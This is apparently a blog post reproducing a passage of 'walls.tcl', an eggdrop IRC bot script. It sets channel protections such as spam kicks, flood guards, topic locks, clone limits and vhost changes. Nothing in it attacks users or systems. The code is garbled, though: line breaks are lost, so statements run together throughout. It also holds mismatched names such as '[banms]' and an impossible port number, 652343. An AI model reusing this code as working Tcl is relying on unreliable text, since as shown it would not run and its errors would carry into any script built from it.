tO 4[string toupper $chan] [banms]"} elseif {$spidx == 17} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 FakE NIcKNaMe [banmsg]"} elseif {$spidx >= 18} {putsrv "KICK $chan $nick :$notc 4!SpaM!1 Unable to resolve4 $nick [banms]"set spidx 0}incr spidxreturn 0}proc isutimer {text} {set text [string tolower $text]foreach x [utimers] {set x [string tolower $x]if {[string match "*$text*" $x]} {return 1break}}return 0}proc istimer {text} {set text [string tolower $text]foreach x [timers] {set x [string tolower $x]if {[string match "*$text*" $x]} {return 1break}}return 0}catch { set old_hostname ${my-hostname} }catch { set old_ip ${my-ip} }
bind dcc * setvhost dcc_setvhostproc dcc_setvhost {hand idx arg} {global my-hostname my-ip notcset arg [string trim $arg]for {set i 0} {$i < [string length $arg]} {incr i} {set idx2 [string index $arg $i]if {![string match "*$idx2*" "1234567890."]} {putdcc $idx "FAILED \!\!\! UsE DNS IP NuMBeR"return 0}}set my-hostname $argset my-ip $argsetuser "config" XTRA "VHOST" $argsaveuserputdcc $idx "cHaNgINg vHosT tO $arg ReQuesT By \[ $hand \]"}
bind msg Z vhost msg_vhostproc msg_vhost {nick uhost hand rest} {global my-hostname my-ip notcif {$rest == ""} {puthlp "NOTICE $nick :$notc ReSET TO DeFauLT"setuser "config" XTRA "VHOST" ""saveuservback "*" "*" "0"return 0}for {set i 0} {$i < [string length $rest]} {incr i} {set idx [string index $rest $i]if {![string match "*$idx*" "1234567890."]} {puthlp "NOTICE $nick :$notc UsE DNS IP NuMBeR"return 0}}if {[isutimer "vback"]} {puthlp "NOTICE $nick :$notc WaIT..!"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set my-hostname $restset my-ip $restutimer 30 [list vback $nick $rest "1"]listen 65234 botsset idx [connect $rest 65234]if {[isnumber $idx] && $idx > 0} {if {![isutimer "vback"]} { return 0 }foreach x [utimers] {if {[string match "*vback*" $x]} { killutimer [lindex $x 2] }}setuser "config" XTRA "VHOST" $restsaveuserputsrv "QUIT :$notc cHaNgINg vHosT ReQuesT By \[ $nick \]"}listen 65234 off}
bind raw - 465 klinedproc klined {from keyword arg} {vback "*" "*" "0"}proc vback {nick vhosts chk} {global old_hostname old_ip notcset my-hostname $old_hostnameset my-ip $old_ipif {$chk == "1"} {puthlp "NOTICE $nick :$notc \[$vhosts\] NoT SuPPoRT..!"}catch { listen 652343 off }}proc pub_status {nick uhost hand channel rest} {global ban-time botnick own ps vernset cflag "c$channel"set cflag [string range $cflag 0 8]if {$rest != ""} {if {[validchan $rest]} {set channel $rest} {return 0}}set cinfo [channel info $channel]if {![string match "*+shared*" $cinfo] && $nick == "*"} { return 0 }set mstatus ""if {[matchattr $cflag I]} { append mstatus "\[1T\]oPIcLocK " }if {[matchattr $cflag M]} { append mstatus "FoRcE\[1M\]odE " }if {[string match "*+nodesynch*" $cinfo]} { append mstatus "AuTo\[1K\]IcK " }if {[string match "*-userinvites*" $cinfo]} { append mstatus "\[1D\]onTKIcK@P " }if {[string match "*+protectfriends*" $cinfo]} { append mstatus "UnRE\[1@\]P " }if {[string match "*+greet*" $cinfo]} {set i 0while {$i < [string length $cinfo]} {set y 0while {$y < [string length [lindex $cinfo $i]]} {if {[string index [lindex $cinfo $i] $y] == ":"} { break }set y [incr y]}if {$y != [string length [lindex $cinfo $i]]} { break }set i [incr i]}set ichan [lindex $cinfo $i]set ictcp [lindex $cinfo [expr $i + 1]]set ijoin [lindex $cinfo [expr $i + 2]]set ikick [lindex $cinfo [expr $i + 3]]set ideop [lindex $cinfo [expr $i + 4]]set inick [lindex $cinfo [expr $i + 5]]if {![string match "*:*" $inick]} {set inick "0"}append mstatus "\[1G\]uaRd FLoOd \[LInE1 $ichan cTcP1 $ictcp JoIN1 $ijoin KIcK1 $ikick De@p1 $ideop NIcK1 $inick\] "if {${ban-time} != 0} { append mstatus "\[1B\]aNTImE1 ${ban-time} mIn " }}if {[matchattr $cflag V]} { append mstatus "\[1A\]uToVoIcE1 [getuser $cflag XTRA "VC"] 2nd " }if {[matchattr $cflag K]} { append mstatus "\[1K\]eY " }if {[matchattr $cflag D]} { append mstatus "Re\[1V\]eNgE " }if {[matchattr $cflag G]} { append mstatus "\[1G\]ReeT " }if {[matchattr $cflag S]} { append mstatus "\[1S\]paM " }if {[getuser "config" XTRA "KOPS"]!=""} { append mstatus "\[1@\]PSKIcK " }if {[matchattr $cflag R]} { append mstatus "\[1R\]ePeaT1 [getuser $cflag XTRA "RPT"] " }if {[matchattr $cflag U]} { append mstatus "\[1C\]aPs1 [getuser $cflag XTRA "CAPS"]% " }if {[matchattr $cflag P]} { append mstatus "JoIN\[1P\]aRT1 [getuser $cflag XTRA "JP"] 2nd " }if {[matchattr $cflag T]} { append mstatus "\[1T\]exT1 [getuser $cflag XTRA "CHAR"] CHaR " }if {[matchattr $cflag J]} { append mstatus "MaSs\[1J\]oIN " }if {[matchattr $cflag L]} { append mstatus "\[1L\]ImITEd1 +[getuser $cflag XTRA "LIMIT"] " }if {[string match "*+seen*" $cinfo]} { append mstatus "\[1S\]EEN " }if {[matchattr $cflag O]} { append mstatus "\[1C\]LonE1 [getuser $cflag XTRA "CLONE"] MaX " }if {[matchattr $cflag E]} { append mstatus "\[1E\]nFoRceBaN " }if {[matchattr $cflag C]} { append mstatus "\[1C\]YcLE1 [getuser $cflag XTRA "CYCLE"] MnT " }if {$mstatus != ""} {if {[getuser "config" XTRA "ADmIN"]!=""} {set mstatus "SeT FoR \[1[string toupper $channel]\] ${mstatus}[getuser "config" XTRA "ADmIN"] [lgrnd]"} {set mstatus "SeT FoR \[1[string toupper $channel]\] ${mstatus}[lgrnd]"}}if {[string match "*c*" [getchanmode $channel]]} {set mstatus [uncolor $mstatus]regsub -all -- $mstatus "" mstatus}puthlp "PRIVMSG $channel :\001ACTION $mstatus\001"}proc pub_+spam {nick uhost hand chan rest} {global notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}set cflag "c$chan"set cflag [string range $cflag 0 8]if {[string tolower $chan] == "#all"} {if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [userlist A] {chattr $x +S}puthlp "NOTICE $nick :$notc ALL SpaM CHaNNeL \[9ON\]"return 0}if {![validchan $chan]} { return 0 }if {[matchattr $cflag S]} {puthlp "NOTICE $nick :$notc SpaM $chan \[9ON\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Sputhlp "NOTICE $nick :$notc SpaM $chan \[9ON\]"saveuser}proc pub_-spam {nick uhost hand chan rest} {global notcif {$rest != ""} {set chan [lindex $rest 0]if {[string first # $chan]!=0} {set chan "#$chan"}}set cflag "c$chan"set cflag [string range $cflag 0 8]if {[string tolower $chan] == "#all"} {if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}foreach x [userlist A] {chattr $x -S}puthlp "NOTICE $nick :$notc ALL SpaM CHaNNeL \[4OFF\]"return 0}if {![validchan $chan]} { return 0 }if {![matchattr $cflag S]} {puthlp "NOTICE $nick :$notc SpaM $chan \[4OFF\]"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Sputhlp "NOTICE $nick :$notc SpaM $chan \[4OFF\]"saveuser}proc pub_+cycle {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {$rest=="" || ![isnumber $rest]} {puthlp "NOTICE $nick :$notc Usage +cYcLe <minutes>"return 0}if {$rest == 0} {puthlp "NOTICE $nick :$notc cAnT UsE NuLL"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Csetuser $cflag XTRA "CYCLE" $restputhlp "NOTICE $nick :$notc cYcLe $chan \[9$rest\] MnT"if {![istimer "cycle $chan"]} { timer $rest [cycle $chan] }saveuser}proc pub_-cycle {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Csetuser $cflag XTRA "CYCLE" ""puthlp "NOTICE $nick :$notc cYcLe $chan \[4OFF\]"saveuserforeach x [timers] {if {[string match "*cycle $chan*" $x]} { killtimer [lindex $x 2] }}}proc pub_+greet {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {$rest==""} {puthlp "NOTICE $nick :$notc Usage +greet <msg>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Gsetuser $cflag XTRA "GREET" $restputhlp "NOTICE $nick :$notc AuTOGReeT $chan \[$rest\]"saveuser}proc pub_-greet {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Gsetuser $cflag XTRA "GREET" ""puthlp "NOTICE $nick :$notc AuTOGReeT $chan \[4OFF\]"saveuser}proc pub_+limit {nick uhost hand chan rest} {global notcif {$rest == "" || ![isnumber $rest]} {puthlp "NOTICE $nick :$notc Usage: +limit <number>"return 0}if {$rest == 0} {puthlp "NOTICE $nick :$notc cAnT UsE NuLL"return 0}set cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Lsetuser $cflag XTRA "LIMIT" $restputhlp "NOTICE $nick :$notc LImIT $chan \[9$rest\]"saveuser}proc pub_-limit {nick uhost hand chan rest} {global notc lst_limitset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Lsetuser $cflag XTRA "LIMIT" ""puthlp "NOTICE $nick :$notc LImIT $chan \[4OFF\]"catch { lst_limit($chan) }saveuser}proc pub_+topic {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Isetuser $cflag XTRA "TOPIC" [topic $chan]puthlp "NOTICE $nick :$notc TopIc $chan \[9LocK\]"saveuser}proc pub_-topic {nick uhost hand chan rest} {global notc lst_limitset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Isetuser $cflag XTRA "TOPIC" ""puthlp "NOTICE $nick :$notc TopIc $chan \[4UnLocK\]"saveuser}proc pub_+joinpart {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {$rest=="" || ![isnumber $rest]} {puthlp "NOTICE $nick :$notc Usage +joinpart <seconds>"return 0}if {$rest == 0} {puthlp "NOTICE $nick :$notc cAnT UsE NuLL"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Psetuser $cflag XTRA "JP" $restputhlp "NOTICE $nick :$notc JoINPaRT $chan \[9$rest Sec's\]"saveuser}proc pub_-joinpart {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Psetuser $cflag XTRA "JP" ""puthlp "NOTICE $nick :$notc JoINPaRT $chan \[4OFF\]"saveuser}proc pub_+clone {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {$rest=="" || ![isnumber $rest]} {puthlp "NOTICE $nick :$notc Usage +clone <max>"return 0}if {$rest == 0} {puthlp "NOTICE $nick :$notc cAnT UsE NuLL"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Osetuser $cflag XTRA "CLONE" $restputhlp "NOTICE $nick :$notc cLonE $chan MaX \[9$rest\]"saveuser}proc pub_-clone {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Osetuser $cflag XTRA "CLONE" ""puthlp "NOTICE $nick :$notc cLonE $chan \[4OFF\]"saveuser}proc pub_+key {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]set rest [lindex $rest 0]if {$rest==""} {puthlp "NOTICE $nick :$notc Usage +key <word>"return 0}chattr $cflag +Ksetuser $cflag XTRA "CI" [zip $rest]puthlp "NOTICE $nick :$notc KeY $chan \[9$rest\]"saveuser}proc pub_-key {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Ksetuser $cflag XTRA "CI" ""puthlp "NOTICE $nick :$notc KeY $chan \[4OFF\]"saveuser}proc pub_+text {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {$rest=="" || ![isnumber $rest]} {puthlp "NOTICE $nick :$notc Usage +text <max>"return 0}if {$rest == 0} {puthlp "NOTICE $nick :$notc cAnT UsE NuLL"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Tsetuser $cflag XTRA "CHAR" $restputhlp "NOTICE $nick :$notc TexT $chan MaX \[9$rest\]"saveuser}proc pub_-text {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Tsetuser $cflag XTRA "CHAR" ""puthlp "NOTICE $nick :$notc TexT $chan \[4OFF\]"saveuser}proc pub_+caps {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {$rest=="" || ![isnumber $rest]} {puthlp "NOTICE $nick :$notc Usage +caps <%percent>"return 0}if {$rest == 0 || $rest > 100} {puthlp "NOTICE $nick :$notc fill under 1 - 100%"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Usetuser $cflag XTRA "CAPS" $restputhlp "NOTICE $nick :$notc CAPS $chan \[9$rest%\]"saveuser}proc pub_-caps {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Usetuser $cflag XTRA "CAPS" ""puthlp "NOTICE $nick :$notc cAPs $chan \[4OFF\]"saveuser}proc pub_+repeat {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {$rest=="" || ![isnumber $rest]} {puthlp "NOTICE $nick :$notc Usage +repeat <max>"return 0}if {$rest == 0} {puthlp "NOTICE $nick :$notc cAnT UsE NuLL"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Rsetuser $cflag XTRA "RPT" $restputhlp "NOTICE $nick :$notc RePeaT $chan MaX \[9$rest\]"saveuser}proc pub_-repeat {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Rsetuser $cflag XTRA "RPT" ""puthlp "NOTICE $nick :$notc RePeaT $chan \[4OFF\]"saveuser}proc pub_+autovoice {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {$rest=="" || ![isnumber $rest]} {puthlp "NOTICE $nick :$notc Usage +AuTovoIcE <secs>"return 0}if {$rest == 0} {puthlp "NOTICE $nick :$notc cAnT UsE NuLL"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Vsetuser $cflag XTRA "VC" $restputhlp "NOTICE $nick :$notc AuTovoIcE $chan qUeUe \[9$rest\] 2nd"saveuserpub_mvoice $nick $uhost $hand $chan ""}proc pub_-autovoice {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Vsetuser $cflag XTRA "VC" ""puthlp "NOTICE $nick :$notc AuTovoIcE $chan \[4OFF\]"saveuserforeach x [utimers] {if {[string match "*voiceq $chan*" $x]} { killutimer [lindex $x 2] }}}proc pub_+enforceban {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Eputhlp "NOTICE $nick :$notc enforceban $chan \[9ON\]"saveuser}proc pub_-enforceban {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Eputhlp "NOTICE $nick :$notc enforceban $chan \[4OFF\]"saveuser}proc pub_+revenge {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Dputhlp "NOTICE $nick :$notc revenge $chan \[9ON\]"saveuser}proc pub_-revenge {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag -Dputhlp "NOTICE $nick :$notc revenge $chan \[4OFF\]"saveuser}proc pub_+forced {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}chattr $cflag +Mputhlp "NOTICE $nick :$notc forced $chan \[9ON\]"saveuser}proc pub_-forced {nick uhost hand chan rest} {global notcset cflag "c$chan"set cflag [string range $cflag 0 8]chattr $cflag -Mputhlp "NOTICE $nick :$notc forced $chan \[4OFF\]"saveuser}proc pub_-colour {nick uhost hand chan rest} {global notc kickclrif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set kickclr "T"setuser "config" XTRA "KCLR" "Y"puthlp "NOTICE $nick :$notc colour kick \[4OFF\]"saveuser}proc pub_+colour {nick uhost hand chan rest} {global notc kickclrif {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}catch {unset kickclr}setuser "config" XTRA "KCLR" ""puthlp "NOTICE $nick :$notc colour kick \[9ON\]"saveuser}proc pub_+ipguard {nick uhost hand channel param} {global botname botnick notc botnickset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: +ipguard <hostname>"return 0}if {$rest == "*" || $rest == "*!*@*"} {puthlp "NOTICE $nick :$notc invalid hostname..!"return 0}if {![string match "*@*" $rest]} {puthlp "NOTICE $nick :$notc Usage: +ipguard <hostname>"return 0}set ipguard [getuser "config" XTRA "IPG"]foreach y $ipguard {if {$y == $rest} {puthlp "NOTICE $nick :$notc $rest allready added..!"return 0}}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}puthlp "NOTICE $nick :$notc add \[$rest\] To IpguaRd"lappend ipguard $restsetuser "config" XTRA "IPG" $ipguardsaveuserreturn 0}proc pub_-ipguard {nick uhost hand channel param} {global notcset rest [lindex $param 0]if {$rest == ""} {puthlp "NOTICE $nick :$notc Usage: -ipguard <hostname>"return 0}if {![matchattr $nick Q]} {puthlp "NOTICE $nick :$notc 4DeNiEd..!"return 0}set ipguard [getuser "config" XTRA "IPG"]set nipg ""set ok "F"foreach y $ipguard {if {$y == $rest} {set ok "T"puthlp "NOTICE $nick :$notc DeL \[$rest\] FRoM IpguaRd"} {lappend nipg}}if {$ok == "T"} {setuser "config" XTRA "IPG" $nipgsaveuserreturn 0}puthlp "NOTICE $nick :$notc $rest not founded..!"}putlog "======================================="putlog " walls.tcl Loaded "putlog " eggoez@ps-x.net.net "putlog " Editing 18 November 2009 "putlog " By g0eZ egGo "putlog "======================================="
Sunday, August 28, 2011
walls-walls.tcl
Labels:
tCL
Subscribe to:
Post Comments (Atom)
No comments:
Post a Comment